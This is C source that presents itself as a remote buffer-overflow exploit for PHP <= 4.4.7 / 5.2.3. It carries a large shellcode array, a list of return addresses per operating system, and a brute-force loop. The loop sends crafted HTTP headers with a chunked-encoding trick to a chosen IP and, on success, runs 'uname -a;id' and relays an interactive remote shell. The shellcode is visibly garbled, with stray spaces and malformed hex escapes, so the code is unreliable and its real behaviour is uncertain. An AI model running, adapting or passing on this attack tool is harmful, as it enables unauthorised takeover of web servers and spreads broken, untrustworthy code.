/*
  PHP <= 4.4.7 / 5.2.3 Remote Buffer Over Flow
  02/01/2008   --- http://metasploit.com 
*/




#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>


#define EXPLOIT_TIMEOUT		5	/* num seconds to wait before assuming it failed */
#define RET_ADDR_INC		512


#define MEMCPY_s1_OWADDR_DELTA	-146
#define PADSIZE_1		4
#define PADSIZE_2 		5
#define PADSIZE_3		7


#define REP_POPULATOR		24
#define REP_RET_ADDR		6
#define REP_ZERO		36
#define REP_SHELLCODE		24
#define NOPCOUNT		1024

#define NOP			0x41
#define PADDING_1		'A'
#define PADDING_2		'B'
#define PADDING_3		'C'

#define PUT_STRING(s)		memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)		memset(p, b, n); p += n;

#define SHELLCODE_LOCALPORT_OFF 30

char shellcode[] =
"\x55\x89\xe5\x83\xec\x08\xe8\x61"
"\x01\x00\x00\xe8\xb3\x01\x00\x00"
"\xe8\xd3\x07\x00\x00\xc9\xc3\xff"
"\x35\xbc\x9e\x04\x08\xff\x25\xc0"
"\x9e\x04\x08\x00\x00\xff\x25\xc4"
"\x9e\x04\x08\x68\x00\x00\x00"
"\x00\xe9\xe0\xff\xff\xff\xff"
"\x25\xc8\x9e\x04\x08\x68\x08\x00"
"\x00\x00\xe9\xd0\xff\xff\xff\xff"
"\x25\xcc\x9e\x04\x08\x68\x10"
"\x00\x00\x00\xe9\xc0\xff\xff\xff"
"\xff\x25\xd0\x9e\x04\x08\x68\x18"
"\x00\x00\x00\xe9\xb0\xff\xff\xff"
"\xff\x25\xd\x9e\x04\x08\x68\x20\x00"
"\x00\x00\xe9\xa0\xff"
"\xff\xff\xff\x25\xd8"
"\x9e\x04\x08\x68\x28\x00"
"\x00\x00\xe9\x90\xff\xff"
"\xff\xff\x25\xdc\x9e"
"\x04\x08\x68\x30\x00\x00"
"\x00\xe9\x80\xff\xff\xff "      	
"\xff\x25\xe0\x9e\x04"
"\x08\x68\x38\x00\x00\x00 "
"\xe9\x70\xff\xff\xff"
"\xff\x25\xe4\x9e\x04\x08    "
"\x68\x40\x00\x00\x00       "
"\xe9\x60\xff\xff\xff       "
"\xff\x25\xe8\x9e\x04\x08    "	
"\x68\x48\x00\x00\x00       "
"\xe9\x50\xff\xff\xff       "
"\xff\x25\xec\x9e\x04\x08    "
"\x68\x50\x00\x00\x00      "
"\xe9\x40\xff\xff\xff       "
"\xff\x25\xf0\x9e\x04\x08    "
"\x68\x58\x00\x00\x00       "
"\xe9\x30\xff\xff\xff       "
"\xff\x25\xf4\x9e\x04\x08    "
"\x68\x60\x00\x00\x00       "
"\xe9\x20\xff\xff\xff       "
"\xff\x25\xf8\x9e\x04\x08    "
"\x68\x68\x00\x00\x00       "
"\xe9\x10\xff\xff\xff       "
"\xff\x25\xfc\x9e\x04\x08    "
"\x68\x70\x00\x00\x00       "
"\xe9\x00\xff\xff\xff    "
"\xff\x25\x00\x9f\x04\x08 " 
"\x68\x78\x00\x00\x00      "
"\xe9\xf0\xfe\xff\xff       "
"\xff\x25\x04\x9f\x04\x08   "
"\x68\x80\x00\x00\x00     "
"\xe9\xe0\xfe\xff\xff     "
"\xff\x25\x08\x9f\x04\x08  "
"\x68\x88\x00\x00\x00    "
"\xe9\xd0\xfe\xff\xff  "
"\x3e\xed\x5e\x89\xe1  "
"\x83\xe4\xf0            "
"\x50\x54\x52                " 
"\x68\xe5\x8c\x04\x08     "
"\x68\x98\x8c\x04\x08     "
"\x51\x56                 "
"\x68\x38\x8c\x04\x08     "
"\xe8\x5f\xff\xff\xff     "
"\xf4\x90\x90\x55                 "
"\x89\xe5\x53                  "
"\xe8\x1b\x00\x00\x00      "
"\x81\xc3\xfb\x17\x00\x00    "
"\x83\xec\x04            "
"\x8b\x83\xfc\xff\xff\xff   "
"\x85\xc0\x74\x02\xff\xd0             "
"\x83\xc4\x04\x5b\x5d           "
"\xc3\x8b\x1c\x24            "
"\xc3\x55\x89\xe5               "
"\x83\xec\x08             "
"\x80\x3d\x1c\x9f"
"\x04\x08\x00\x74\x0c                "
"\xeb\x1c\x83\xc0\x04             "
"\xa3\x14\x9f\x04\x08       "
"\xff\xd2\xa1\x14\x9f\x04\x08       "
"\x8b\x10\x85\xd2                "
"\x75\xeb\xc6\x05\x1c\x9f\x04\x08\x01 	"
"\xc9\xc3\x55\x89\xe5                	"
"\x83\xec\x08\xa1\xe8\x9d\x04\x08       	"
"\x85\xc0\x74\x12                	"
"\xb8\x00\x00\x00\x00       	"
"\x85\xc0\x74\x09                "
"\xc7\x04\x24\xe8\x9d\x04\x08 	"
"\xff\xd0\xc9\xc3\x90\x90                  "
"\x55\x89\xe5                "
"\x83\xec\x58            "
"\xc6\x45\xc4\x7f         "
"\xc6\x45\xc5\x45        "
"\xc6\x45\xc6\x4c        "
"\xc6\x45\xc7\x46        "
"\xc7\x44\x24\x04\x00\x00\x00 "
"\x00\x8b\x45\x08           "
"\x89\x04\x24           "
"\xe8\xd7\xfe\xff\xff    "
"\x89\x45\xfc          "
"\x83\x7d\xfc\xff      "
"\x75\x0c            "
"\xc7\x45\xbc\xff\xff\xff\xff "
"\xe9\x9d\x00\x00\x00       "
"\xc7\x44\x24\x08\x34\x00\x00" 
"\x00\x8d\x45\xc8           "
"\x89\x44\x24\x04       "
"\x8b\x45\xfc         "
"\x89\x04\x24         "
"\xe8\xe8\xfe\xfe\xff  " 
"\x8b\x45\xfc        "
"\x89\x04\x24       "
"\xe8\xfd\xfd\xff\xff " 
"\x8d\x45\xc4         "
"\x8d\x55\xc8         "
"\xc7\x44\x24\x08\x04\x00\x00 "
"\x00\x89\x44\x24\x04         "
"\x89\x14\x24\xe85\x3f\xe\xff\xff      "
"\x85\xc0\x74\x09\xc7\x45\xbc\xff\xff\xff\xff 	"
"\xeb\x51\x8b\x45\xd8\x66\x83\xf8\x02          	"
"\x74\x09\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x3f\x0f\xb7\x45\xda          "
"\x66\x83\xf8\x03          "
"\x74\x00\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x2c\x8b 4\x5 \xd8             "
"\x66\x83\xf8\x01         "
"\x74\x09\xc7\x45\xbc\xff\xff\xff\xff"
"\xeb\x1a\x0f\xb7\x45\xda         "
"\x66\x83\xf8\x03\x74\x09               "
"\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x07\xc7\x45\xbc\x00\x00\x00\x00"
"\x8b\x45\xbc           "
"\xc9\xc3\x55                 "
"\x89\xe5\x83\xec\x68           "
"\xc7\x44\x24\x04\x00\x00\x00"
"\x00\x8b\x45\x08            "
"\x89\x04\x24            "
"\xe8\x07\xfe\xff\xff      "
"\x89\x45\xf8            "
"\x83\x7d\xf8\xff         "
"\x75\x0c\xc7\x04\x24\x84\x8d\x04\x08"
"\xe8\x62\xfd\xff\xff      "
"\x8b\x45\x0c            "
"\x8b\x40\x2c            "
"\x83\xe8\x08             "
"\x89\x45\xfc             "
"\xc7\x44\x24\x08\x00\x00\x00 "
"\x00\x8b\x45\xfc             "
"\x89\x44\x24\x04          "
"\x8b\x45\xf8             "
"\x89\x04\x24             "
"\xe8\xbc\xfd\xff\xff       "
"\xc7\x44\x24\x08\x08\x00\x00 "
"\x00\x8d\x45\xb8             "
"\x89\x44\x24\x04          "
"\x8b\x45\xf8             "
"\x89\x04\x24             "
"\xe8\xf2\xfd\xff\xff      " 
"\x8b\x45\xf8             "
"\x89\x04\x24             "
"\xe8\x07\xfd\xff\xff      " 
"\x8d\x45\xb8             "
"\xc7\x44\x24\x08\x08\x00\x00 "
"\x00\xc7\x44\x24\x04\x8a\x8d\x04 "
"\x08\x89\x04\x24             "
"\xe8\x5c\xfd\xff\xff       "
"\x85\xc0                "
"\x75\x09                "
"\xc7\x45\xac\x00\x00\x00\x00 "
"\xeb\x07\xc7\x45\xac\xff\xff\xff\xff "
"\x8b\x45\xac             "
"\xc9\xc3                   "
"\x55                  "
"\x89\xe5               "
"\x57                  "
"\x56                  "
"\x81\xec\x50\x10\x00\x00   "
"\x8d\xbd\xc5\xef\xff\xff   "
"\xbe\x94\x8d\x04\x08      "
"\xfc                  "
"\xb9\x1f\x00\x00\x00      "
"\xf3\xa4               "
"\xa1\x24\x9f\x04\x08      "
"\xc7\x44\x24\x04\x00\x00\x00"
"\x00\x89\x04\x24            "
"\xe8\x40\xfd\xff\xff      "
"\x89\x45\xe4            "
"\x83\x7d\xe4\xff         "
"\x0f\x84\x24\x01\x00\x00   "
"\x8d\x85\xc5\xef\xff\xff  "
"\x89\x04\x24            "
"\xe8\xc5\xfc\xff\xff      "
"\x89\x45\xf4            "
"\xc7\x44\x24\x08\xff\x01\x00"
"\x00 "
"\xc7\x44\x24\x04\x42\x00\x00"
"\x00\x8b\x45\xf4            "
"\x89\x04\x24            "
"\xe8\x07\xfd\xff\xff      "
"\x89\x45\xe8            "
"\x83\x7d\xe8\xff         "
"\x0f\x84\xeb\x00\x00\x00   "
"\xc7\x44\x24\x08\x00\x00\x00"
"\x00 "
"\xc7\x44\x24\x04\xa1\x27\x00 "
"\x00 "
"\x8b\x45\xe4           "
"\x89\x04\x24           "
"\xe8\xcf\xfc\xff\xff     "
"\xeb\x1c              "
"\x8b\x45\xec           "
"\x89\x44\x24\x08        "
"\x8d\x85\xe4\xef\xff\xff  "
"\x89\x44\x24\x04        "
"\x8b\x45\xe8           "
"\x89\x04\x24           "
"\xe8\x11\xfc\xff\xff    " 
"\xc7\x44\x24\x08\x00\x10\x00 "
"\x00\x8d\x85\xe4\xef\xff\xff  " 
"\x89\x44\x24\x04         "
"\x8b\x45\xe4           "
"\x89\x04\x24            "
"\xe8\xe4\xfc\xff\xff    "  
"\x89\x45\xec           "
"\x83\x7d\xec\x00        "
"\x75\xbe\x8b\x45\xe4   "       
"\x89\x04\x24          "
"\xe8\xf0\xfb\xff\xff   " 
"\x8b\x45\xe8          "
"\x89\x04\x24         "
"\xe8\xe5\xfb\xff\xff      "
"\xa1\x24\x9f\x4\x08      "
"\xb9\xff\xff\xff\xff      "
"\x89\x85\xb4\xef\xff\xff   "
"\xb8\x00\x00\x00\x00      "
"\xfc\x8b\xbd\xb4\xef\xff\xff   "
"\xf2\xae               "
"\x89\xc8               "
"\xf7\xd0               "
"\x8d\x50\xff            "
"\x8b\x0d\x24\x9f\x04\x08 "  
"\x8b\x45\x08            "
"\x8b\x00               "
"\x89\x54\x24\x08         "
"\x89\x4c\x24\x04         "
"\x89\x04\x24            "
"\xe8\x75 \xfc \xff \xff  "    
"\xe8\xc0 \xfb \xff \xff "     
"\x85\xc0               "
"\x75\x07               "
"\xe8\x87\xfc\xff\xff     " 
"\xeb \x1b               "
"\xa1 \x18 \x9f \x04 \x08     " 
"\x89 \x44 \x24 \x08         "
" 	\x8b \x45 \x08            "
" 	\x89 \x44 \x24 \x04        " 
" 	\x8b \x45 \xf4            "
" 	\x89 \x04 \x24            "
" 	\xe8 \x0a \xfb \xff \xff  "    
" 	\x8b \x45 \xf4           "
" 	\x89 \x04 \x24           "
" 	\xe8 \x9f \xfb \xff \xff     "
" 	\x81 \xc4 \x50 \x10 \x00 \x00  "
" 	\x5e                 "
" 	\x5f                 "
" 	\x5d                 "
" 	\xc3                 "
"       \x55                  "
" 	\x89 \xe5              " 
" 	\x57                  "
" 	\x56                  "
" 	\x81 \xec \x50 \x12 \x00 \x00   "
" 	\xc7 \x45 \xf0 \x00 \x00 \x00 \x00"
" 	\x8d \xbd \xc6 \xef \xff \xff"   
" 	\xbe \xb3 \x8d \x04 \x08"      
" 	\xfc                 " 
" 	\xb9\x1a\x00\x00\x00"      
" 	\xf3\xa4               "
" 	\xa1\x24\x9f\x04\x08      "
" 	\xc7 \x44 \x24 \x04 \x00 \x00 \x00 	"
" 	\x00 "
" 	\x89 \x04 \x24             "
" 	\xe8 \xcb \xfb \xff \xff    "   
" 	\x89 \x45 \xe0             "
" 	\x83 \x7d \xe0 \xff          "
 "	\x0f \x84 \x4a \x01 \x00 \x00    "
 "	\xc7 \x44 \x24 \x04 \x00 \x00 \x00 "
" 	\x00 "
" 	\x8b \x45 \x08            "
" 	\x89 \x04 \x24           "
" 	\xe8 \xab \xfb \xff \xff    "  
" 	\x89 \x45 \xe4             "
" 	\x83 \x7d \xe4 \xff          "
" 	\x0f \x84 \x2a \x01 \x00 \x00   "
" 	\x8d \x85 \xc6 \xef \xff \xff    "
" 	\x89 \x04 \x24            "
" 	\xe8 \x30 \xfb \xff \xff   "   
" 	\x89 \x45 \xf4            "
" 	\xc7 \x44 \x24 \x04 \x42 \x00 \x00 "
" 	\x00 "
" 	\x8b \x45 \xf4             "
" 	\x89 \x04 \x24             "
" 	\xe8 \x7a \xfb \xff \xff    "   
" 	\x89 \x45 \xe8             "
" 	\x83 \x7d \xe8 \xff          "
" 	\x0f \x84 \xf9 \x00 \x00 \x00    "
" 	\xc7 \x45 \xec \x00 \x00 \x00 \x00 "
" 	\xeb \x40                "
" 	\xc7 \x44 \x24 \x08\x01\x00\x00 "
 "	\x00 "
 "	\x8d \x85 \xc6 \xed \xff \xff    "
 "	\x89 \x44 \x24 \x04         " 
 "	\x8b \x45 \xe0             "
 "	\x89 \x04 \x24             "
 "	\xe8 \x87 \xfb \xff \xff       "
 "	\xc7 \x44 \x24 \x08 \x01 \x00 \x00 	"
 "	\x00 "
 "	\x8d \x85 \xc6 \xed \xff \xff    "	
 "	\x89 \x44 \x24 \x04          	"
 "	\x8b \x45 \xe8             	"
 "	\x89 \x04 \x24             	"
 "	\xe8 \x7a \xfa \xff \xff       	"
 "	\x8d \x45 \xec             	"
 "	\x83 \x00 \x01             	"
 "	\x81 \x7d \xec \xa0 2\x7 0\x0 \x00 	"
 "	\x7e \xb7                	"
 "	\xeb \x1c                	"
 "	\x8b \x45 \xf0             	"
 "	\x89 \x44 \x24 \x08          	"
 "	\x8d \x85 \xe0 \xef \xff \xff    "	
 "	\x89 \x44 \x24 \x04          	"
 "	\x8b \x45 \xe8             	"
 "	\x89 \x04 \x24             	"
 "	\xe8 \x4d \xfa \xff \xff       	"
 "	\xc7 \x44\x24\x08\x00\x10\x00 	"
 "	\x00 "
 "	\x8d \x85 \xe0 \xef \xff \xff    	"
 "	\x89 \x44 \x24 \x04      "    	
 "	\x8b \x45 \xe4          "
   	"\x89 \x04 \x24          "
 	"\xe8 \x20 \xfb \xff \xff "   
 	"\x89 \x45 \xf0          "
 	"\x83 \x7d \xf0 \x00    "   
 	"\x75 \xbe             "
 	"\xc7 \x44 \x24 \x08 0\x8 \x00 \x00"
 	"\x00 "
 	"\xc7 \x44 \x24 \x04 \x8a \x8d \x04 	"
 	"\x08 "
 	"\x8b \x45 \xe8             	"
 	"\x89 \x04 \x24             	"
 	"\xe8 \x0c\x0a\xfa\xff \xff      " 	
 	"\x8b \x45 \xe0             	"
 	"\x89 \x04 \x24             	"
 	"\xe8 \x11 \xfa \xff \xff       "	
 	"\x8b \x45 \xe4             	"
 	"\x89 \x04 \x24             	"
 	"\xe8 \x06 \xfa \xff \xff       "	
 	"\x8b \x45 \xe8             	"
 	"\x89 \x04 \x24             	"
 	"\xe8\xfb\xf9\xff\xff       "	
 	"\x8b\x45\x08             	"
 	"\x89\x44\x24\x04          	"
 	"\x8b\x45\xf4             	"
 	"\x89\x04\x24             	"
 	"\xe8\xc9\xf9\xff \xff       "	
 	"\x8b\x45\x0c             	"
 	"\x8b\x40\x10             	"
 	"\x89\x44\x24\x04          	"
 	"\x8b\x45\x08             	"
 	"\x89\x04\x24             	"
 	"\xe8\x34\xfa\xff \xff       "	
 	"\x81\xc4\x50\x12 \x00 \x00    "
 	"\x5e                   "
 	"\x5f                  " 
 	"\x5d                 "
        "\xc3                 "
 "	\x55                 "
 "	\x89 \xe5              "
 "	\x83 \xec \x18         " 
 "	\x83 \x7d \x10 \x00   "    
 "	\x75 \x5a            "
 "	\x8b \x45 \x08        "
 "	\x89 \x04 \x24         "
 "	\xe8 \x53 \xfb \xff \xff   "
 "	\x85 \xc0            "
 "	\x75 \x4b           "
 "	\x8b \x45 \x0c        "
 "	\x89 \x44 \x24 \x04    "
 "	\x8b \x45 \x08         "
 "	\x89 \x04 \x24         "
 "	\xe8 \x1d \xfc \xff \xff   "
 "	\x83 \xf8 \xff       "  
 "	\x75 \x2b           "
 "	\xa1 \x20 \x9f \x04 \x08  "
 "	\x83 \xf8 \x02             	"
 "	\x7f \x21                	"
 "	\x8b \x45 \x0c             	"
 "	\x89 \x44 \x24 \x04          	"
 "	\x8b \x45 \x08             	"
 "	\x89 \x04 \x24             	"
 "	\xe8 \x17 \xfe \xff \xff       	"
 "	\xa1 \x20 \x9f \x04 \x08       	"
 "	\x83 \xc0 \x01             	"
 "	\xa3 \x20 \x9f \x04 \x08       	"
 "	\xeb \x09                	"
 "	\xc7 \x45 \xfc \x00 \x00 \x00 \x00 	"
 "	\xeb \x07                	"
 "	\xc7 \x45 \xfc \x00 \x00 \x00 \x00 	"
 "	\x8b \x45 \xfc           "  	
 "	\xc9                   	"
" 	\xc3                   	"
 "	\x55                   	"
 "	\x89 \xe5                	"
  "      \x83 \xec \x18             	"
 "	\x83 \xe4 \xf0             	"
 "	\xb8 \x00 \x00 \x00 \x00       	"
 "	\x83 \xc0 \x0f             	"
 "	\x83 \xc0 \x0f             	"
 "	\xc1 \xe8 \x04             	"
 "	\xc1 \xe0 \x04             	"
 "	\x29 \xc4                	"
 "	\x8b \x45 \x0c             	"
 "	\x8b \x00                	"
 "	\xa3 \x24 \x9f \x04 \x08       	"
 "	\xc7 \x44 \x24 \x08 \x05 \x00 \x00 	"
 "	\x00 "
 "	\xc7 \x44 \x24 \x04 \xc6 \x8b \x04 	"
 "	\x08 "
  "      \xc7\x04\x24\xcd\x8d\x04\x08" 	
 "	\xe8 \xd6 \xf9 \xff \xff       	"
 "	\x8b \x45 \x0c             	"
 "	\x89 \x04 \x24             	"
 "	\xe8 \x38 \xfc \xff \xff       	"
 "	\xc7 \x04 \x24 \x00 \x00 \x00 \x00" 	
 "	\xe8 \xaf \xf9 \xff \xff      "
 "	\x90   "               
 "	\x90  "                
" 	\x90 " 
 	"\x55                  "
        "\x89\xe5              " 
 	"\x57                  "
 	"\x56                  "
 	"\x31\xf6              " 
 	"\x53                  "
 	"\xe8 \x37 \xfa \xff \xff      "
 	"\x81 \xc3 \x17 \x12 \x00 \x00   "
 	"\x83 \xec \x0c            "
 	"\xe8 \x99 \xf8 \xff \xff      "
 	"\x8d \x83 \x20 \xff \xff \xff   "
 	"\x8d \x93 \x20 \xff \xff \xff   "
 	"\x89 \x45 \xf0           " 
 	"\x29 \xd0               "
 	"\xc1 \xf8 \x02           " 
 	"\x39 \xc6               "
 	"\x73 \x16               "
 	"\x89 \xd7               "
	"\xff \x14 \xb2            "
" 	\x8b \x45 \xf0            "
" 	\x83 \xc6 \x01           " 
 "	\x29 \xf8               "
 "	\x89 \xfa               "
" 	\xc1 \xf8 \x02           " 
" 	\x39 \xc6               "
" 	\x72 \xec               "
" 	\x83 \xc4 \x0c         "   
" 	\x5b                  "
" 	\x5e                  "
" 	\x5f                  "
" 	\x5d                  "
" 	\xc3                  "
 "	\x55                  "
 "	\x89\xe5               "
 "	\x83\xec \x18            "
 "	\x89\x5d \xf4            "
 "	\xe8\xe5 \xf9 \xff \xff      "
 "	\x81\xc3 \xc5 \x11 \x00 \x00   "
 "	\x89\x75 \xf8            "
 "	\x89\x7d \xfc            "
 "	\x8d\xb3\x20\xff\xff\xff"
 "	\x8d\xbb\x20\xff\xff\xff" 
 "	\x29\xfe               "
 "	\xc1\xfe\x02           " 
 "	\xeb\x03               "
 "	\xff\x14 \xb7            "
 "	\x83\xee \x01            "
 "	\x83\xfe \xff           " 
 "	\x75\xf5               "
 "	\xe8\x3a\x00 \x00 \x00   "   
 "	\x8b\x5d\xf4            "
 "	\x8b\x75\xf8           " 
 "	\x8b\x7d\xfc          "  
 "	\x89 \xec              " 
 "	\x5d                  "
 "	\xc3                  "
 "	\x90\x55                "  
 "	\x89 \xe5              " 
 "	\x53                  "
 "	\x83 \xec \x04            "
 "	\xa1 \xd8 \x9d \x04 \x08  "    
 "	\x83 \xf8 \xff           " 
 "	\x74 \x12               "
 "	\xbb \xd8 \x9d \x04 \x08  "     
  "      \xff \xd0               "
 "	\x8b \x43 \xfc            "
 "	\x83 \xeb \x04            "
 "	\x83 \xf8 \xff           " 
 "	\x75 \xf3               "
 "	\x83 \xc4 \x04         "   
 "	\x5b                  "
 "	\x5d                   "
 "	\xc3                  "
 "	\x90                  "
 "\x90\x90\x55\x89\xe5\x53\xe8\x73\xf9"
"\xff\xff\x81\xc3\x53\x11\x00\x00\x83\xec\x04"
"\xe8\x69\xf9\xff\xff\x83"
"\xc4\x04\x5b\x5d\xc3";



struct {
	char *type;
	u_long retaddr;
} targets[] = {	// Brute Force Option Available!
	{ "Linux 2.4 3.0 x86 / PHP <= 4.4.7 / 5.2.3",	0xcf92f },
	{ "Linux 2.6 3.0 x86 / PHP <= 4.4.7 / 5.2.3",	0x8f0aa },
	{ "FreeBSD 6.0 x86 / PHP <= 4.4.7 / 5.2.3",	0x90600 },
	{ "Brute Force Freebsd 5.1 x86 / PHP <= 4.4.7 / 5.2.3",	0x8f2a6 },
	{ "Brute Force Linux 2.5 x86 / PHP <= 4.4.7 / 5.2.3",	0x90600 },
	{ "Brute Force OpenBSD x86 / PHP <= 4.4.7 / 5.2.3",	0x9011a },
	{ "OpenBSD 3.1 x86 / PHP <= 4.4.7 / 5.2.3 #2",	0x932ae },
};


int main(int argc, char *argv[]) {

	char           *hostp, *portp;
	unsigned char   buf[512], *expbuf, *p;
	int             i, j, lport;
	int             sock;
	int             bruteforce, owned, progress;
	u_long          retaddr;
	struct sockaddr_in sin, from;


	if(argc != 3) {
		printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
		printf("  Using targets:\t./php-hack 3 127.0.0.1:8080\n");
		printf("  Using bruteforce:\t./php-hack 0x8f000 127.0.0.1:8080\n");
		printf("\n--- --- - Potential targets list - --- ----\n");
		printf("Target ID / Target specification\n");
		for(i = 0; i < sizeof(targets)/8; i++)
			printf("\t%d / %s\n", i, targets[i].type);

		return -1;
	}


	hostp = strtok(argv[2], ":");
	if((portp = strtok(NULL, ":")) == NULL)
		portp = "80";

	retaddr = strtoul(argv[1], NULL, 16);
	if(retaddr < sizeof(targets)/8) {
		retaddr = targets[retaddr].retaddr;
		bruteforce = 0;
	}
	else
		bruteforce = 1;
		

	srand(getpid());
	signal(SIGPIPE, SIG_IGN);
	for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {

		/* skip invalid return adresses */
		i = retaddr & 0xff;
		if(i == 0x0a || i == 0x0d)
			retaddr++;
		else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
			continue;


		sock = socket(AF_INET, SOCK_STREAM, 0);
		sin.sin_family = AF_INET;
		sin.sin_addr.s_addr = inet_addr(hostp);
		sin.sin_port = htons(atoi(portp));
		if(!progress)
			printf("\n[*] Connecting.. ");

		fflush(stdout);
		if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
			perror("connect()");
			exit(1);
		}

		if(!progress)
			printf("connected!\n");


		/* Setup the local port in our shellcode */
		i = sizeof(from);
		if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
			perror("getsockname()");
			exit(1);
		}

		lport = ntohs(from.sin_port);
		shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
		shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;


		p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
				    + ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));

		PUT_STRING("GET / HTTP/1.1\r\nHost: php-hack.c\r\n");

		for (i = 0; i < REP_SHELLCODE; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_3, PADDING_3);
			PUT_STRING(": ");
			PUT_BYTES(NOPCOUNT, NOP);
			memcpy(p, shellcode, sizeof(shellcode) - 1);
			p += sizeof(shellcode) - 1;
			PUT_STRING("\r\n");
		}

		for (i = 0; i < REP_POPULATOR; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_1, PADDING_1);
			PUT_STRING(": ");
			for (j = 0; j < REP_RET_ADDR; j++) {
				*p++ = retaddr & 0xff;
				*p++ = (retaddr >> 8) & 0xff;
				*p++ = (retaddr >> 16) & 0xff;
				*p++ = (retaddr >> 24) & 0xff;
			}

			PUT_BYTES(REP_ZERO, 0);
			PUT_STRING("\r\n");
		}

		PUT_STRING("Transfer-Encoding: chunked\r\n");
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
		PUT_STRING(buf);
		PUT_BYTES(PADSIZE_2, PADDING_2);
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
		PUT_STRING(buf);

		write(sock, expbuf, p - expbuf);

		progress++;
		if((progress%70) == 0)
			progress = 1;

		if(progress == 1) {
			memset(buf, 0, sizeof(buf));
			sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
				retaddr, (unsigned int)(p - expbuf), lport);
			memset(buf + strlen(buf), ' ', 74 - strlen(buf));
			puts(buf);
			if(bruteforce)
				putchar(';');
		}
		else
			putchar((rand()%2)? 'P': 'p');


		fflush(stdout);
		while (1) {
			fd_set          fds;
			int             n;
			struct timeval  tv;

			tv.tv_sec = EXPLOIT_TIMEOUT;
			tv.tv_usec = 0;

			FD_ZERO(&fds);
			FD_SET(0, &fds);
			FD_SET(sock, &fds);

			memset(buf, 0, sizeof(buf));
			if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
				if(FD_ISSET(sock, &fds)) {
					if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
						break;

					if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
						printf("\nGOBBLE GOBBLE!@#%%)*#\n");
						printf("retaddr 0x%lx did the trick!\n", retaddr);
						sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
						write(sock, expbuf, strlen(expbuf));
						owned++;
					}

					write(1, buf, n);
				}

				if(FD_ISSET(0, &fds)) {
					if((n = read(0, buf, sizeof(buf) - 1)) < 0)
						exit(1);

					write(sock, buf, n);
				}
			}

			if(!owned)
				break;
		}

		free(expbuf);
		close(sock);

		if(owned)
			return 0;

		if(!bruteforce) {
			fprintf(stderr, "Ooops.. hehehe!\n");
			return -1;
		}
	}

	return 0;
}